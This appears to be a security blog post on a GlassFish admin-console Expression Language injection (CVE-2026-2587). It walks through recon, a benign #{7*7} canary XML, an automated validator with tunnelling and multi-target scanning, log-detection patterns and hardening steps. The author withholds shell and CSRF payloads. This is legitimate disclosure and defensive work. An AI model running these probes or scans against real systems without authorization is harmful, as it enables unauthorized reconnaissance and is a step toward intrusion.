CVE-2026-2587 GlassFish EL Injection: Exploit POC
Updated on May 21, 2026
Understanding the scope of the CVE-2026-2587 GlassFish EL Injection vulnerability is essential for robust server security.
CVE-2026-2587 is one of those bugs where the vulnerable behavior is easy to confirm, but the real-world risk depends heavily on admin console exposure, authentication behavior, and how the target is deployed. The advisory describes a GlassFish gadget handler issue where XML gadget values are processed in a context that evaluates Expression Language, so a harmless expression like #{7*7} can come back as 49.
Now, I know what you are thinking - if #{7*7} becomes 49, can we directly turn this into RCE? I am not publishing a weaponized RCE or CSRF chain here. What I am sharing is the practical validation path I used in my lab so defenders and authorized pentesters can confirm whether their GlassFish admin console is exposing the vulnerable behavior.
In my lab, the interesting part was that ModulePrefs title evaluated the EL expression, while the HTML body inside CDATA stayed raw. That is a very important distinction. If you only check the body, you may miss the vulnerable sink. If you check the title, the issue becomes clear.
This article walks through the full methodology - recon, endpoint discovery, source review, safe validation, automation, troubleshooting, and defensive recommendations. For general HTTP testing basics, I have a separate Web Penetration Testing with Curl Cheatsheet that pairs nicely with this workflow.
Ethical Disclaimer
Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines.
This write-up is for authorized security testing, internal validation, and defensive research. Do not test internet-facing GlassFish servers unless you have written permission.
What We Are Validating
The endpoint I validated is:
/common/gadgets/gadget.jsf?gadget=<URL_TO_XML>
The useful context-root fallback is:
/asadmin/common/gadgets/gadget.jsf?gadget=<URL_TO_XML>
The core idea is simple:
- Host a harmless XML gadget.
- Put an arithmetic EL expression inside the gadget title.
- Ask GlassFish to load that XML through the
gadgetparameter. - Check whether the response contains the evaluated value.
Safe canary:
#{7*7}
Expected evaluated output:
49
This does not execute commands. It does not modify the server. It only proves whether the server evaluated the expression.
CVE Summary
When researching the CVE-2026-2587 GlassFish EL Injection, reviewing official documentation is vital.
At the time of writing, the public advisory information describes this as a critical GlassFish gadget handler issue involving server-side Expression Language evaluation. The NVD record maps it to CWE-917, which is improper neutralization of special elements used in an Expression Language statement.
| Field | Value |
|---|---|
| Assigned by | Eclipse Foundation CNA |
| Published | May 19, 2026 |
| Severity | CVSS 9.6 Critical |
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CWE | CWE-917 - Expression Language Injection |
| Affected | Eclipse GlassFish < 7.1.0 and 8.0.0 |
| Fix | Upgrade to GlassFish >= 7.1.0 |
Public advisory links:
- GitHub Advisory Database:
GHSA-29wv-cv7p-xjc2 - NVD:
CVE-2026-2587 - Eclipse GitLab CVE assignment issue: issue
86
The advisory score uses a network attack vector with low complexity, no attacker privileges, required user interaction, changed scope, and high impact to confidentiality, integrity, and availability.
Practically, this means you should not treat this as a harmless rendering bug. If the admin console is reachable and a vulnerable rendering path exists, this deserves urgent validation and remediation.
Lab Environment
My lab target:
Eclipse GlassFish 7.0.15
Admin Console: https://localhost:4848
Java: Eclipse Adoptium 17
For a local Docker lab, the repository provides a compose file that binds GlassFish only to localhost and wires host.docker.internal so the container can fetch a probe XML served from the host:
docker compose -f docker-compose.lab.yml up
The bare Docker equivalent is:
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin console URL: https://localhost:4848. Lab login: admin / admin. The self-signed certificate warning is expected.
Lab caveat: GHSA still listed affected and patched versions as unknown when the repository note was written. omnifish/glassfish:7.0.15 is a strong lab candidate, not a guarantee by itself. The proof is the arithmetic canary: if #{7*7} evaluates to 49, EL evaluation is active.
The safe XML was hosted from my host machine and fetched by the GlassFish process through Docker networking:
http://host.docker.internal:8000/cve.xml
On non-Docker setups, replace that with your actual tester IP:
http://192.168.1.10:8000/cve.xml
On Linux Docker, host.docker.internal may not work unless you configure it. In those cases, use the host bridge IP or start the container with:
docker run --add-host=host.docker.internal:host-gateway ...
Phase 1 - Reconnaissance
Start with basic service discovery. In most real assessments, I want to know whether the admin console is exposed, whether it is HTTP or HTTPS, and what version string is returned.
nmap -Pn -sS -sV -p 4848,8080,8181 TARGET_IP
For a local lab:
curl -k -I https://localhost:4848/
You may see headers like:
Server: Eclipse GlassFish 7.0.15
X-Powered-By: Servlet/6.0 JSP/3.1(Eclipse GlassFish 7.0.15 Java/Eclipse Adoptium/17)
Now check whether the gadget endpoint is reachable:
curl -k -i 'https://localhost:4848/common/gadgets/gadget.jsf'
Possible outcomes:
200 OK with login form
200 OK with rendered gadget
302 redirect to login.jsf
401 Unauthorized
403 Forbidden
A 200 OK is not automatically unauthenticated access. GlassFish can return the login page with HTTP 200. Treat login form markers such as login.jsf, j_security_check, j_username, or j_password as authentication required. If the endpoint renders the gadget without a session, that is an unauthenticated exposure and worse than the base CVE scenario.
Phase 2 - Source Review and Vulnerable Path
The interesting path is the gadget loader:
gadget query parameter
-> gadget.jsf
-> gf.getGadgetModule("#{param.gadget}")
-> GadgetHandlers.getGadgetModule()
-> URL or context-relative XML path
-> ConfigParser.parse(url)
-> pageSession.gadget.gadgetModulePrefs.title
-> rendered in gadget.jsf
The important operational point is this:
The attacker-controlled gadget URL controls the XML file that GlassFish parses.
The XML title is then exposed through the page rendering flow. That is where my safe canary confirmed evaluation.
This is similar to how Java management and admin interfaces often become high-risk when exposed. I covered related Java admin attack surface thinking in my Java JMX RMI Pentest Cheatsheet, and the same mindset applies here - admin surfaces should not be casually exposed.
Phase 3 - Build a Safe XML Canary
Create a test folder:
mkdir gf-cve-test
cd gf-cve-test
Create the XML file:
cat > cve.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8" ?>
<Module id="cve-2026-2587-safe-check">
<ModulePrefs title="CVE2587_TITLE_#{7*7}_END" />
<Content type="html">
<![CDATA[
<div id="cve-2026-2587-safe-check">CVE2587_BODY_#{7*7}_END</div>
]]>
</Content>
</Module>
EOF
Host it:
python3 -m http.server 8000 --bind 0.0.0.0
From another terminal, verify that your XML server works:
curl http://127.0.0.1:8000/cve.xml
If GlassFish is running in Docker, make sure the GlassFish container can reach your host server. This is one of the most common places where validation fails.
The repository also ships probe.xml ready to host. If you want a fresh probe with custom canary values, generate it with the validator:
# Default: CVE2587 prefix and #{7*7}
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
# Custom prefix and operands
python3 CVE-2026-2587-Exploit-POC.py \
--generate-xml probe.xml \
--prefix MYTEST --left 13 --right 17
# Print XML to stdout
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
When you use custom values, keep --prefix, --left, and --right consistent between the XML and the validation command.
Phase 4 - Trigger the Gadget Handler
URL encode the XML URL:
http://host.docker.internal:8000/cve.xml
Encoded:
http%3A%2F%2Fhost.docker.internal%3A8000%2Fcve.xml
Trigger the endpoint:
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
'https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fcve.xml' \
| grep -oE 'CVE2587_(TITLE|BODY)_[^<"]*'
My lab output:
CVE2587_TITLE_49_END
CVE2587_BODY_#{7*7}_END
This means:
ModulePrefs title evaluated: yes
CDATA body evaluated: no
That is still a vulnerable signal because the title sink evaluated the attacker-controlled EL expression.
Phase 5 - Browser Validation
When I opened this in a browser session that was already logged into the admin console:
https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fcve.xml
The page displayed:
Title: CVE2587_TITLE_49_END
CVE2587_BODY_#{7*7}_END
That is the cleanest visual proof. The title evaluated, the body remained raw.
Now, do not make the mistake of saying the target is safe just because the body did not evaluate. The title is the confirmed sink here.
Phase 6 - Authentication Behavior
This part needs careful wording.
| Scenario | Auth needed? |
|---|---|
Direct hit to gadget.jsf | Usually yes - GlassFish FORM auth can return a 200 login page |
| Real-world CSRF attack | No attacker credentials, but a logged-in admin must interact |
| This validator | Yes - use --cookie or --username/--password |
| Unauthenticated exposure check | No - the script tests this automatically |
The CVSS vector uses PR:N and UI:R. That means the attacker does not need their own GlassFish credentials, but exploitation depends on interaction from a logged-in admin. For lab validation, skip CSRF entirely and use your own authorized admin session directly.
The script's login helper seeds a session with /login.jsf, posts credentials to /j_security_check, then confirms access through /common/index.jsf. If form login fails, a browser-copied JSESSIONID remains the most reliable validation path.
Phase 7 - Automated Safe Validator
The full validator script is on GitHub: CVE-2026-2587-Exploit-POC. It runs 10 distinct EL probes, handles authentication, spins up its own XML server, and produces CSV or JSON output. The script name on disk is CVE-2026-2587-Exploit-POC.py.
Install
git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC
cd CVE-2026-2587-Exploit-POC
pip install requests
pip install colorama # optional — coloured output
Localhost / Docker
Use when GlassFish is running locally or in Docker on the same machine. Grab your JSESSIONID from browser DevTools → Application → Cookies while logged in, then:
# Docker — GlassFish in container, script on host
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure --verbose
# Localhost without Docker
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://127.0.0.1:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
If you prefer username/password over a session cookie:
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
If form login fails the script falls through and tries the endpoint anyway, then prints instructions for grabbing a session cookie manually.
Remote via Cloudflare Tunnel (recommended)
No account required — cloudflared generates a temporary public URL instantly, and unlike ngrok's free tier it does not inject a browser interstitial page, so non-browser clients like GlassFish can fetch your XML without being redirected.
Step 1 — Install cloudflared:
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Step 2 — Start the tunnel (Terminal 1):
cloudflared tunnel --url http://localhost:8000
# → https://random-words.trycloudflare.com
Step 3 — Run the validator (Terminal 2):
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Remote via ngrok (last resort)
Use ngrok only as a last option for remote targets. The free tier can block server-side fetches that do not come from a browser by returning an interstitial HTML warning page. In that case GlassFish fetches the warning page instead of your XML, and the validator can classify the response as a login page or inconclusive result. Prefer Cloudflare Tunnel, a VPS, GitHub raw, or any static web host unless you have an ngrok account that bypasses this restriction.
If ngrok is appropriate for your environment:
Step 1 — Install ngrok:
# macOS
brew install ngrok
# Linux (Debian/Ubuntu)
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
Step 2 — Expose your local XML server (Terminal 1):
ngrok http 8000
# → Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000
Step 3 — Run the validator (Terminal 2):
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Replace abc123.ngrok-free.app with your actual ngrok URL.
Pre-hosted Static XML (no local server needed)
Use --xml-url to skip the built-in server entirely — useful on a VPS, GitHub raw, or any public web server. The repo ships with probe.xml ready to reference directly:
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url https://raw.githubusercontent.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC/main/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
--prefix, --left, and --right must match the canary values baked into your hosted XML so the script knows which evaluated token to look for in the response.
Generate a Probe XML
The validator can generate a ready-to-host probe file and exit without requiring a target:
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py \
--generate-xml probe.xml \
--prefix MYTEST --left 13 --right 17
The generated output prints the expected evaluated token, for example MYTEST_TITLE_221_END, and the matching --xml-url, --prefix, --left, and --right options to use in the scan.
Unauthenticated Exposure Check Only
Check whether the endpoint is accidentally accessible without any credentials before running a full authenticated scan:
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--check-unauth-only --insecure
The script exits immediately after Phase 1 — no credentials are sent.
Multi-Target Scanning
The repository includes targets.txt.example. Copy it to targets.txt and list one target per line. Blank lines and lines starting with # are ignored.
# URL only - uses global credentials
https://server1:4848
# URL username password - per-target credentials override globals
https://server2:4848 admin password123
# URL username:password
https://server3:4848 ops:secret99
Run against all targets with a shared XML callback server:
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 \
--insecure \
--csv results.csv
Use low thread counts for remote systems. The README recommends 3-5 over the internet and up to 10 in a local lab.
Expected Output
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
...
Fix: upgrade to GlassFish >= 7.1.0
Add --json to get machine-readable output, or --csv results.csv for a structured report file.
Output Formats and Test Cases
The script supports console output by default, --json for machine-readable stdout, and --csv FILE or --csv - for CSV output. You can combine them:
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
CSV output includes target, timestamp, verdict, vulnerable_count, total_tests, unauth_exposed, active_endpoint, server_header, per-test-case columns from TC-01 through TC-10, and notes.
The 10 built-in test cases cover arithmetic, addition, subtraction, nested arithmetic, ternary logic, string concatenation, chained string methods, modulo, and large arithmetic. TC-06, TC-07, and TC-08 are especially important because they show conditional logic and string API methods executing in the EL engine.
| Status | Meaning |
|---|---|
VULNERABLE | One or more EL expressions evaluated |
VULNERABLE_UNAUTH | The gadget handler evaluated EL without authentication |
NOT_VULNERABLE | The expression reflected literally or no test confirmed evaluation |
AUTH_REQUIRED | The endpoint returned a login page, 401, or 403 |
INCONCLUSIVE | The server responded, but the canary was not found |
ERROR | Network, TLS, timeout, or request failure |
Advanced network options include --proxy http://127.0.0.1:8080 for Burp/ZAP and repeatable headers such as --header "X-Forwarded-For: 127.0.0.1" for reverse-proxy routing tests.
Phase 8 - Troubleshooting
XML Server Gets Zero Hits
This means the target never fetched your XML.
Check:
python3 -m http.server 8000 --bind 0.0.0.0
Then monitor connections:
sudo tcpdump -ni any port 8000
Common causes:
- Wrong callback IP
- Docker networking issue
host.docker.internalnot resolving- Firewall blocking inbound port 8000
- GlassFish cannot make outbound HTTP requests
- Wrong admin context path
- Endpoint requires authentication
You Get a Login Page
Use a valid admin session cookie:
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--cookie 'JSESSIONID=PASTE_COOKIE_HERE' \
--insecure
You Only See the Raw Body
Check the title marker. In my lab, the body stayed raw but the title evaluated.
This is vulnerable:
CVE2587_TITLE_49_END
CVE2587_BODY_#{7*7}_END
This is not a positive EL evaluation signal:
CVE2587_TITLE_#{7*7}_END
CVE2587_BODY_#{7*7}_END
You Get a 500 Error
Do not mark it safe. Treat it as inconclusive.
Check:
- GlassFish server logs
- XML syntax
- XML content type
- Whether your XML is reachable
- Whether the endpoint path is correct
Phase 10 - Detection and Defensive Monitoring
Blue team should monitor for requests like this:
/common/gadgets/gadget.jsf?gadget=http
/common/gadgets/gadget.jsf?gadget=https
/asadmin/common/gadgets/gadget.jsf?gadget=http
Quick grep examples:
grep -R "common/gadgets/gadget.jsf" /var/log 2>/dev/null
grep -R "gadget=http" /var/log 2>/dev/null
URL encoded checks:
grep -R "gadget=http%3A%2F%2F" /var/log 2>/dev/null
grep -R "gadget=https%3A%2F%2F" /var/log 2>/dev/null
Proxy and WAF pattern:
/common/gadgets/gadget\.jsf.*gadget=(http|https|http%3A|https%3A)
Also monitor outbound connections from the GlassFish host. A vulnerable check requires GlassFish to fetch attacker-controlled XML, so unexpected outbound HTTP from an admin server is a useful signal.
For broader infrastructure methodology, I follow a similar recon to validation flow in my Kubernetes Penetration Testing Guide. Different technology, same discipline - identify exposed control plane surfaces, validate safely, then harden.
Hardening Recommendations
Start with exposure reduction.
- Do not expose the GlassFish admin console to the internet.
- Restrict port
4848to a management VPN or jump host. - Require strong admin authentication.
- Disable remote admin access if it is not needed.
- Upgrade to GlassFish
>= 7.1.0. - Block or disable
/common/gadgets/gadget.jsfat a WAF or reverse proxy if the gadget handler is unused. - Block outbound HTTP from admin servers unless explicitly required.
- Ensure admin-session cookies use defensive attributes such as
SameSite. - Block suspicious EL markers such as
#{and${in XML bodies reaching the gadget endpoint. - Monitor
gadget.jsfrequests with externalgadget=URLs. - Review admin console access logs for unusual paths.
- Rotate admin credentials if you suspect exploitation.
- Treat confirmed EL evaluation as critical until remediated.
A practical network ACL rule should make this unreachable from normal user subnets:
Allow: VPN/Jumphost -> GlassFish:4848
Deny : Any other source -> GlassFish:4848
References
| Resource | Link |
|---|---|
| NVD | CVE-2026-2587 |
| GitHub Advisory | GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | Issue 86 |
| Eclipse GlassFish Source | eclipse-ee4j/glassfish |
| CWE-917 | Expression Language Injection |
| Reporter | Camilo G. (DeepSecurity Peru) - @SeguridadBlanca |
What I Am Not Publishing
I am intentionally not publishing:
- Command execution payloads
- Reverse shell payloads
- CSRF exploit pages
- Persistence steps
- Data extraction techniques
The safe arithmetic check is enough to prove exposure. Once you prove server-side EL evaluation in an admin console gadget handler, you already have a critical finding for remediation.
Quick Validation Checklist
[ ] Identify GlassFish admin console port
[ ] Confirm version and server headers
[ ] Host benign XML canary
[ ] Confirm target can fetch XML
[ ] Request /common/gadgets/gadget.jsf?gadget=<xml_url>
[ ] Check title marker for evaluated arithmetic
[ ] Check body marker separately
[ ] Test with authenticated cookie if direct access redirects
[ ] Capture evidence screenshot and response snippet
[ ] Review GlassFish logs
[ ] Apply hardening and patching actions
Conclusion
CVE-2026-2587 is straightforward to validate safely if you focus on the right sink. In my lab, the body did not evaluate, but the gadget title did, which confirms that checking only the CDATA body can lead to a false sense of safety. Safely navigating the CVE-2026-2587 GlassFish EL Injection prevents accidental disruption while ensuring effective vulnerability discovery.
Use the arithmetic canary, validate only authorized systems, and avoid publishing or running weaponized payloads. The moment #{7*7} becomes 49 in the gadget title, you have enough evidence to treat the system as vulnerable and move to remediation.
Well, that is all I wanted to share. Happy hacking, but keep it ethical XD
Enjoyed this guide? Share your thoughts below and tell us how you leverage CVE-2026-2587 GlassFish EL Injection validation workflows in your projects!

No comments:
Post a Comment